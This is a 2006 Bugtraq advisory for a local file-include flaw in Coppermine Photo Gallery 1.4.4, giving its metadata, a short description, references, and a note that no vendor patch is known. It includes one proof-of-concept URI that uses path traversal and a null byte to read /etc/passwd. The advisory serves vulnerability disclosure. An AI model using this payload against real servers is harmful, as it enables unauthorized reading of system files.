Coppermine Index.PHP Local File Include Vulnerability

Bugtraq ID:	17570
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Apr 17 2006 12:00AM
Updated:	Apr 18 2006 07:46PM
Credit:	imei addmimistrator is credited with the discovery of this vulnerability.
Vulnerable:	Coppermine Photo Gallery 1.4.4
Not Vulnerable:

Coppermine Index.PHP Local File Include Vulnerability

Coppermine is prone to a local file-include vulnerability. This may allow unauthorized users to view files and to execute local scripts.

Version 1.4.4 is vulnerable to this issue; other versions may also be affected.

Coppermine Index.PHP Local File Include Vulnerability

This issue can be exploited through a web client.

The following proof-of-concept URI is available:

http://www.example.com/cpg/index.php?file=.//././/././/././/././/././/././/././/././/./etc/passwd%00

Coppermine Index.PHP Local File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]

Coppermine Index.PHP Local File Include Vulnerability

References:

• Coppermine Photo Gallery Homepage (Coppermine Photo Gallery)
  
• [KAPDA]CopperminePhotoGallery1.4.4~ PluginInclusionSystem(index.php)~ RemoteFile ([email protected])
  
• Re: [KAPDA]CopperminePhotoGallery1.4.4~ PluginInclusionSystem(index.php)~ Remote (Dariusz Kolasinski )